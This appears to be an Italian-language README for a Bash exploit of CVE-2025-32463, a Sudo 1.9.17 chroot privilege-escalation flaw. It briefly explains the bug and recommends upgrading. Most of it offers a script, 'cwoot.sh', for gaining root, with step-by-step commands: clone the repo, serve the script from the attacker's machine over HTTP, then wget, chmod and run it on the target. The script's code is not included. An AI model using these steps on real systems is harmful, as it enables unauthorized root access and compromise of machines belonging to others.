
Script di exploit Bash per CVE-2025-32463, una vulnerabilità di escalation locale dei privilegi in Sudo 1.9.17 tramite l'opzione chroot, che consente l'accesso root sui sistemi interessati.
Sudo versione 1.9.17 ha una vulnerabilità critica (CVE-2025-32463) che consente a utenti locali di ottenere accesso root sfruttando l'opzione chroot, il che può portare a seri rischi per la sicurezza. Si consiglia di aggiornare alla versione 1.9.17p1 o successiva per mitigare questo problema.
Panoramica della vulnerabilità in Sudo 1.9.17:-
La vulnerabilità nella versione 1.9.17 di Sudo, identificata come CVE-2025-32463, è un difetto critico che consente a utenti locali di ottenere accesso root. Il problema deriva da un cambiamento nel modo in cui Sudo gestisce l'opzione --chroot (-R), progettata per isolare i processi modificandone la directory root.
Come funziona la vulnerabilità:-
Problema di risoluzione del percorso: Nelle versioni da 1.9.14 a 1.9.17, Sudo valuta l'opzione --chroot prima di controllare i permessi dell'utente. Ciò consente agli aggressori di controllare l'ambiente e caricare librerie dannose.
Passaggi per lo sfruttamento:
Un aggressore crea un file nsswitch.conf dannoso in una directory di cui ha il controllo. Esegue Sudo con l'opzione -R, inducendo Sudo a caricare la configurazione e le librerie dell'aggressore, ottenendo accesso root.
Ho creato uno script bash "cwoot.sh" che, dopo l'esecuzione, eleva direttamente all'utente root.
Procedere come segue:
Scarica lo script dal repo: git clone https://github.com/justjoeyking/CVE-2025-32463.git
Sulla propria macchina: python3 -m http.server 8080
Sulla macchina target: wget http://<proprio_indirizzo_IP>:8080/cwoot.sh
Sulla macchina target: chmod 755 cwoot.sh
Esegui lo script sulla macchina target: ./cwoot.sh